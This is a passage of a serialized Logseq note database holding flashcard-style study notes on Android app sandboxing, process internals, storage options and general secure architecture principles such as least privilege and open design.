`execute`)logseq____",536870916]],[logseq____"^15logseq____",[204,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[204,logseq____"^Flogseq____",206,536870916]],[logseq____"^15logseq____",[204,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[204,logseq____"^Vlogseq____",217,536870916]],[logseq____"^15logseq____",[204,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[204,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[204,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[204,logseq____"^;logseq____",logseq____"~u67b83fac-903e-4781-bec4-8e617def8acalogseq____",536870916]],[logseq____"^15logseq____",[205,logseq____"^Qlogseq____",logseq____"*shared preferences*: persistent key-value store (by default readable only for the owning app)logseq____",536870916]],[logseq____"^15logseq____",[205,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[205,logseq____"^Flogseq____",221,536870916]],[logseq____"^15logseq____",[205,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[205,logseq____"^Vlogseq____",221,536870916]],[logseq____"^15logseq____",[205,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[205,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[205,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[205,logseq____"^;logseq____",logseq____"~u67b83fac-30b9-46d8-95cb-6b6417cbbfd1logseq____",536870916]],[logseq____"^15logseq____",[206,logseq____"^Qlogseq____",logseq____"Only owner and root can change permissionslogseq____",536870916]],[logseq____"^15logseq____",[206,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[206,logseq____"^Flogseq____",214,536870916]],[logseq____"^15logseq____",[206,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[206,logseq____"^Vlogseq____",217,536870916]],[logseq____"^15logseq____",[206,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[206,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[206,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[206,logseq____"^;logseq____",logseq____"~u67b83fac-0146-4506-81d1-08a347d8827elogseq____",536870916]],[logseq____"^15logseq____",[207,logseq____"^Qlogseq____",logseq____"## Starting Applications #cardlogseq____",536870916]],[logseq____"^15logseq____",[207,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[207,logseq____"^Flogseq____",213,536870916]],[logseq____"^15logseq____",[207,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[207,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[207,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[207,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[207,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874672]],[logseq____"^15logseq____",[207,logseq____"^Jlogseq____",[],536874672]],[logseq____"^15logseq____",[207,logseq____"^Hlogseq____",2,536874672]],[logseq____"^15logseq____",[207,logseq____"^;logseq____",logseq____"~u67b83fac-635c-453c-981e-908b49fb978alogseq____",536870916]],[logseq____"^15logseq____",[208,logseq____"^Qlogseq____",logseq____"~```mermaid\\nflowchart LR\\n subgraph App Process\\n subgraph Dalvik VM / ART\\n A[\\logseq____"App Code (classes.dex)\\logseq____"]\\n B[Core libs]\\n end\\n C[\\logseq____"JNI(Java Native Interface)\\logseq____"]\\n D[\\logseq____"Native code (*.so)\\logseq____"]\\n end\\n E[Kernel]\\n\\n A logseq____<--logseq____> B\\n A logseq____<--logseq____> C\\n B logseq____<-- syscalls --logseq____> E\\n B logseq____<--logseq____> C\\n C logseq____<--logseq____> D\\n D logseq____<-- syscalls --logseq____> E\\n```logseq____",536870916]],[logseq____"^15logseq____",[208,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[208,logseq____"^Flogseq____",213,536870916]],[logseq____"^15logseq____",[208,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[208,logseq____"^Vlogseq____",213,536870916]],[logseq____"^15logseq____",[208,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[208,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[208,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[208,logseq____"^;logseq____",logseq____"~u67b83fac-5fe6-46c5-95d6-df60201a09f9logseq____",536870916]],[logseq____"^15logseq____",[209,logseq____"^Qlogseq____",logseq____"## General Idealogseq____",536870916]],[logseq____"^15logseq____",[209,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[209,logseq____"^Flogseq____",183,536870916]],[logseq____"^15logseq____",[209,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[209,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[209,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[209,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874672]],[logseq____"^15logseq____",[209,logseq____"^Jlogseq____",[],536874672]],[logseq____"^15logseq____",[209,logseq____"^;logseq____",logseq____"~u67b83fac-9e6a-4898-af0c-f2c468356ce0logseq____",536870916]],[logseq____"^15logseq____",[210,logseq____"^Qlogseq____",logseq____"Apps *share memory locations* of shared libraries, e.g., core libslogseq____",536870916]],[logseq____"^15logseq____",[210,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[210,logseq____"^Flogseq____",200,536870916]],[logseq____"^15logseq____",[210,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[210,logseq____"^Vlogseq____",200,536870916]],[logseq____"^15logseq____",[210,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[210,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[210,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[210,logseq____"^;logseq____",logseq____"~u67b83fac-b9e2-414e-b590-3773e3d6d081logseq____",536870916]],[logseq____"^15logseq____",[211,logseq____"^Qlogseq____",logseq____"Installed apps have separate `UID` and `GID`(group ID) ($logseq____> 10.000$ vs *predefined* UIDs for code Android apps and services)logseq____",536870916]],[logseq____"^15logseq____",[211,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[211,logseq____"^Flogseq____",184,536870916]],[logseq____"^15logseq____",[211,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[211,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[211,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[211,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[211,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[211,logseq____"^;logseq____",logseq____"~u67b83fac-7f71-4062-9d74-435d2658c449logseq____",536870916]],[logseq____"^15logseq____",[212,logseq____"^Qlogseq____",logseq____"Exhausting process limit for UID causes this to faillogseq____",536870916]],[logseq____"^15logseq____",[212,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[212,logseq____"^Flogseq____",195,536870916]],[logseq____"^15logseq____",[212,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[212,logseq____"^Vlogseq____",196,536870916]],[logseq____"^15logseq____",[212,logseq____"^Ulogseq____",2,536874667]],[logseq____"^15logseq____",[212,logseq____"^Ulogseq____",38,536874667]],[logseq____"^15logseq____",[212,logseq____"^Ulogseq____",183,536874667]],[logseq____"^15logseq____",[212,logseq____"^;logseq____",logseq____"~u67b83fac-05fa-4a06-b00e-fe7977add1a4logseq____",536870916]],[logseq____"^15logseq____",[213,logseq____"^Qlogseq____",logseq____"## Application Process Internals #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[213,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[213,logseq____"^Flogseq____",201,536870916]],[logseq____"^15logseq____",[213,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[213,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[213,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[213,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[213,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[213,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874672]],[logseq____"^15logseq____",[213,logseq____"^Jlogseq____",[],536874672]],[logseq____"^15logseq____",[213,logseq____"^Hlogseq____",2,536874672]],[logseq____"^15logseq____",[213,logseq____"^Hlogseq____",38,536874672]],[logseq____"^15logseq____",[213,logseq____"^;logseq____",logseq____"~u67b83fac-14f9-4cee-bb52-0797e7ae4e02logseq____",536870916]],[logseq____"^15logseq____",[214,logseq____"^Qlogseq____",logseq____"Utilize Linuxlogseq____' *discretionary* file access control (owner can change permissions and ownership)logseq____",536870916]],[logseq____"^15logseq____",[214,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[214,logseq____"^Flogseq____",217,536870916]],[logseq____"^15logseq____",[214,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[214,logseq____"^Vlogseq____",217,536870916]],[logseq____"^15logseq____",[214,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[214,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[214,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[214,logseq____"^;logseq____",logseq____"~u67b83fac-6547-4f3e-a4d7-1e987dad0e35logseq____",536870916]],[logseq____"^15logseq____",[215,logseq____"^Qlogseq____",logseq____"*DWM/ART* is not a security boundary (can be circumvented with native code)logseq____",536870916]],[logseq____"^15logseq____",[215,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[215,logseq____"^Flogseq____",208,536870916]],[logseq____"^15logseq____",[215,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[215,logseq____"^Vlogseq____",213,536870916]],[logseq____"^15logseq____",[215,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[215,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[215,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[215,logseq____"^;logseq____",logseq____"~u67b83fac-9deb-451b-b440-4b2ec0cb8ceflogseq____",536870916]],[logseq____"^15logseq____",[216,logseq____"^Qlogseq____",logseq____"Use of *UID* (user ID, assigned per application on installation)logseq____",536870916]],[logseq____"^15logseq____",[216,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[216,logseq____"^Flogseq____",186,536870916]],[logseq____"^15logseq____",[216,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[216,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[216,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[216,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[216,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[216,logseq____"^;logseq____",logseq____"~u67b83fac-11ec-42e6-a800-781a4492c9f1logseq____",536870916]],[logseq____"^15logseq____",[217,logseq____"^Qlogseq____",logseq____"## Private App Directory #card #security-architecture\\nid:: 67b74d96-f668-44e4-83c6-0760487f0281logseq____",536870916]],[logseq____"^15logseq____",[217,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[217,logseq____"^Flogseq____",207,536870916]],[logseq____"^15logseq____",[217,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[217,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[217,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[217,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[217,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[217,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b74d96-f668-44e4-83c6-0760487f0281logseq____",logseq____"^17logseq____",2],536874672]],[logseq____"^15logseq____",[217,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874672]],[logseq____"^15logseq____",[217,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b74d96-f668-44e4-83c6-0760487f0281logseq____"],536874672]],[logseq____"^15logseq____",[217,logseq____"^Hlogseq____",2,536874672]],[logseq____"^15logseq____",[217,logseq____"^Hlogseq____",38,536874672]],[logseq____"^15logseq____",[217,logseq____"^;logseq____",logseq____"~u67b74d96-f668-44e4-83c6-0760487f0281logseq____",536870916]],[logseq____"^15logseq____",[218,logseq____"^Qlogseq____",logseq____"Disclosing these locations allows for exploits circumventing ASLRlogseq____",536870916]],[logseq____"^15logseq____",[218,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[218,logseq____"^Flogseq____",210,536870916]],[logseq____"^15logseq____",[218,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[218,logseq____"^Vlogseq____",200,536870916]],[logseq____"^15logseq____",[218,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[218,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[218,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[218,logseq____"^;logseq____",logseq____"~u67b83fac-77d1-41e4-b718-ca22ffdcb399logseq____",536870916]],[logseq____"^15logseq____",[219,logseq____"^Qlogseq____",logseq____"## IOS Comparisonlogseq____",536870916]],[logseq____"^15logseq____",[219,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[219,logseq____"^Flogseq____",199,536870916]],[logseq____"^15logseq____",[219,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[219,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[219,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[219,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874672]],[logseq____"^15logseq____",[219,logseq____"^Jlogseq____",[],536874672]],[logseq____"^15logseq____",[219,logseq____"^;logseq____",logseq____"~u67b83fac-c597-49cb-b2d9-b6e6c93298e6logseq____",536870916]],[logseq____"^15logseq____",[220,logseq____"^Qlogseq____",logseq____"Until Android 10, process of the same app (process attribute in the [[Application Manifest]] ) allowed for sharing their sandbox (only if signed with same developer key)logseq____",536870916]],[logseq____"^15logseq____",[220,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[220,logseq____"^Flogseq____",211,536870916]],[logseq____"^15logseq____",[220,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[220,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[220,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[220,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[220,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[220,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[220,logseq____"^Hlogseq____",28,536874672]],[logseq____"^15logseq____",[220,logseq____"^;logseq____",logseq____"~u67b83fac-404a-4890-a061-7d54fb480a5alogseq____",536870916]],[logseq____"^15logseq____",[221,logseq____"^Qlogseq____",logseq____"## Storage Options for Apps #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[221,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[221,logseq____"^Flogseq____",217,536870916]],[logseq____"^15logseq____",[221,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[221,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[221,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[221,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[221,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[221,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874672]],[logseq____"^15logseq____",[221,logseq____"^Jlogseq____",[],536874672]],[logseq____"^15logseq____",[221,logseq____"^Hlogseq____",2,536874672]],[logseq____"^15logseq____",[221,logseq____"^Hlogseq____",38,536874672]],[logseq____"^15logseq____",[221,logseq____"^;logseq____",logseq____"~u67b83fac-bf29-4c66-bb27-522478e6aae5logseq____",536870916]],[logseq____"^15logseq____",[222,logseq____"^Qlogseq____",logseq____"Give control flow to VM process\\nlogseq.order-list-type:: numberlogseq____",536870916]],[logseq____"^15logseq____",[222,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[222,logseq____"^Flogseq____",188,536870916]],[logseq____"^15logseq____",[222,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[222,logseq____"^Vlogseq____",207,536870916]],[logseq____"^15logseq____",[222,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[222,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[222,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536874672]],[logseq____"^15logseq____",[222,logseq____"^Jlogseq____",[logseq____"^19logseq____"],536874672]],[logseq____"^15logseq____",[222,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536874672]],[logseq____"^15logseq____",[222,logseq____"^;logseq____",logseq____"~u67b83fac-9867-43f2-9c8b-0e2116e863b0logseq____",536870916]],[logseq____"^15logseq____",[223,logseq____"^Qlogseq____",logseq____"Application sandbox specifies which system resources the application is allowed to accesslogseq____",536870916]],[logseq____"^15logseq____",[223,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[223,logseq____"^Flogseq____",209,536870916]],[logseq____"^15logseq____",[223,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[223,logseq____"^Vlogseq____",209,536870916]],[logseq____"^15logseq____",[223,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[223,logseq____"^;logseq____",logseq____"~u67b83fac-e2da-4af7-919e-4a2d13a302a3logseq____",536870916]],[logseq____"^15logseq____",[225,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[225,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[225,logseq____"^Ylogseq____",logseq____"secure architecture principleslogseq____",536870916]],[logseq____"^15logseq____",[225,logseq____"^11logseq____",logseq____"Secure Architecture Principleslogseq____",536870916]],[logseq____"^15logseq____",[225,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[225,logseq____"^;logseq____",logseq____"~u67bd79bb-2fa1-490b-ae48-026bbcae22d2logseq____",536878163]],[logseq____"^15logseq____",[226,logseq____"^Qlogseq____",logseq____"Satisfy trust assumptions using validated propertieslogseq____",536870916]],[logseq____"^15logseq____",[226,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[226,logseq____"^Flogseq____",233,536870916]],[logseq____"^15logseq____",[226,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[226,logseq____"^Vlogseq____",233,536870916]],[logseq____"^15logseq____",[226,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[226,logseq____"^;logseq____",logseq____"~u67b83fac-569f-4f6e-8a09-21ff8a8ff5c9logseq____",536870916]],[logseq____"^15logseq____",[227,logseq____"^Qlogseq____",logseq____"Security must be usablelogseq____",536870916]],[logseq____"^15logseq____",[227,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[227,logseq____"^Flogseq____",254,536870916]],[logseq____"^15logseq____",[227,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[227,logseq____"^Vlogseq____",254,536870916]],[logseq____"^15logseq____",[227,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[227,logseq____"^;logseq____",logseq____"~u67b83fac-7fc3-4bfe-8586-2c403ae1ede8logseq____",536870916]],[logseq____"^15logseq____",[228,logseq____"^Qlogseq____",logseq____"## Secure, fail-safe defaultslogseq____",536870916]],[logseq____"^15logseq____",[228,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[228,logseq____"^Flogseq____",225,536870916]],[logseq____"^15logseq____",[228,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[228,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[228,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[228,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[228,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[228,logseq____"^;logseq____",logseq____"~u67b83fac-8a78-4620-b6bc-aa184da1b8f0logseq____",536870916]],[logseq____"^15logseq____",[229,logseq____"^Qlogseq____",logseq____"Virtual Machineslogseq____",536870916]],[logseq____"^15logseq____",[229,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[229,logseq____"^Flogseq____",235,536870916]],[logseq____"^15logseq____",[229,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[229,logseq____"^Vlogseq____",244,536870916]],[logseq____"^15logseq____",[229,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[229,logseq____"^;logseq____",logseq____"~u67b83fac-b861-41c7-b9ec-9916fe80acb6logseq____",536870916]],[logseq____"^15logseq____",[230,logseq____"^Qlogseq____",logseq____"Fine-grained privileges allow for isolated [modules]((67b73d61-146d-41b7-88c1-bfe2f62977c9))logseq____",536870916]],[logseq____"^15logseq____",[230,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[230,logseq____"^Flogseq____",232,536870916]],[logseq____"^15logseq____",[230,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[230,logseq____"^Vlogseq____",234,536870916]],[logseq____"^15logseq____",[230,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[230,logseq____"^;logseq____",logseq____"~u67b83fac-c863-43c0-986d-9779c3b473d8logseq____",536870916]],[logseq____"^15logseq____",[231,logseq____"^Qlogseq____",logseq____"## Isolationlogseq____",536870916]],[logseq____"^15logseq____",[231,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[231,logseq____"^Flogseq____",247,536870916]],[logseq____"^15logseq____",[231,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[231,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[231,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[231,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[231,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[231,logseq____"^;logseq____",logseq____"~u67b83fac-c651-475c-bdd8-c4d029c4dbc7logseq____",536870916]],[logseq____"^15logseq____",[232,logseq____"^Qlogseq____",logseq____"Privilege as ability to access/modify a resourcelogseq____",536870916]],[logseq____"^15logseq____",[232,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[232,logseq____"^Flogseq____",246,536870916]],[logseq____"^15logseq____",[232,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[232,logseq____"^Vlogseq____",234,536870916]],[logseq____"^15logseq____",[232,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[232,logseq____"^;logseq____",logseq____"~u67b83fac-2649-4f4a-9787-c8eb33c4beeblogseq____",536870916]],[logseq____"^15logseq____",[233,logseq____"^Qlogseq____",logseq____"## Minimize Trust - Maximize Trustworthinesslogseq____",536870916]],[logseq____"^15logseq____",[233,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[233,logseq____"^Flogseq____",243,536870916]],[logseq____"^15logseq____",[233,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[233,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[233,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[233,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[233,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[233,logseq____"^;logseq____",logseq____"~u67b83fac-fe13-48c5-a8cc-874ed7ad7e1elogseq____",536870916]],[logseq____"^15logseq____",[234,logseq____"^Qlogseq____",logseq____"## Least Privilege\\nid:: 67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____",536870916]],[logseq____"^15logseq____",[234,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[234,logseq____"^Flogseq____",249,536870916]],[logseq____"^15logseq____",[234,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[234,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[234,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[234,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[234,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874675]],[logseq____"^15logseq____",[234,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____"],536874675]],[logseq____"^15logseq____",[234,logseq____"^;logseq____",logseq____"~u67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____",536870916]],[logseq____"^15logseq____",[235,logseq____"^Qlogseq____",logseq____"Micro-Kernelslogseq____",536870916]],[logseq____"^15logseq____",[235,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[235,logseq____"^Flogseq____",250,536870916]],[logseq____"^15logseq____",[235,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[235,logseq____"^Vlogseq____",244,536870916]],[logseq____"^15logseq____",[235,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[235,logseq____"^;logseq____",logseq____"~u67b83fac-d918-48f8-881a-33b85818a8f9logseq____",536870916]],[logseq____"^15logseq____",[236,logseq____"^Qlogseq____",logseq____"## Open Designlogseq____",536870916]],[logseq____"^15logseq____",[236,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[236,logseq____"^Flogseq____",54,536870916]],[logseq____"^15logseq____",[236,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[236,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[236,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[236,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[236,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[236,logseq____"^;logseq____",logseq____"~u67b83fac-b3c0-4a7d-81c3-0895df27466flogseq____",536870916]],[logseq____"^15logseq____",[237,logseq____"^Qlogseq____",logseq____"## Least Common Mechanismlogseq____",536870916]],[logseq____"^15logseq____",[237,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[237,logseq____"^Flogseq____",234,536870916]],[logseq____"^15logseq____",[237,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[237,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[237,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[237,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[237,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[237,logseq____"^;logseq____",logseq____"~u67b83fac-81dc-4800-a640-8948bf434470logseq____",536870916]],[logseq____"^15logseq____",[238,logseq____"^Qlogseq____",logseq____"Kerckhoffslogseq____' principle, i.e., security should not rely on the secrecy of mechanismslogseq____",536870916]],[logseq____"^15logseq____",[238,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[238,logseq____"^Flogseq____",236,536870916]],[logseq____"^15logseq____",[238,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[238,logseq____"^Vlogseq____",236,536870916]],[logseq____"^15logseq____",[238,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[238,logseq____"^;logseq____",logseq____"~u67b83fac-e547-408b-89f8-8db71b30f5e5logseq____",536870916]],[logseq____"^15logseq____",[239,logseq____"^Qlogseq____",logseq____"Minimized shared functionalitylogseq____",536870916]],[logseq____"^15logseq____",[239,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[239,logseq____"^Flogseq____",237,536870916]],[logseq____"^15logseq____",[239,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[239,logseq____"^Vlogseq____",237,536870916]],[logseq____"^15logseq____",[239,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[239,logseq____"^;logseq____",logseq____"~u67b83fac-e320-49dd-a85b-04e67aa7f52blogseq____",536870916]],[logseq____"^15logseq____",[240,logseq____"^Qlogseq____",logseq____"Every asset access must be check against the security 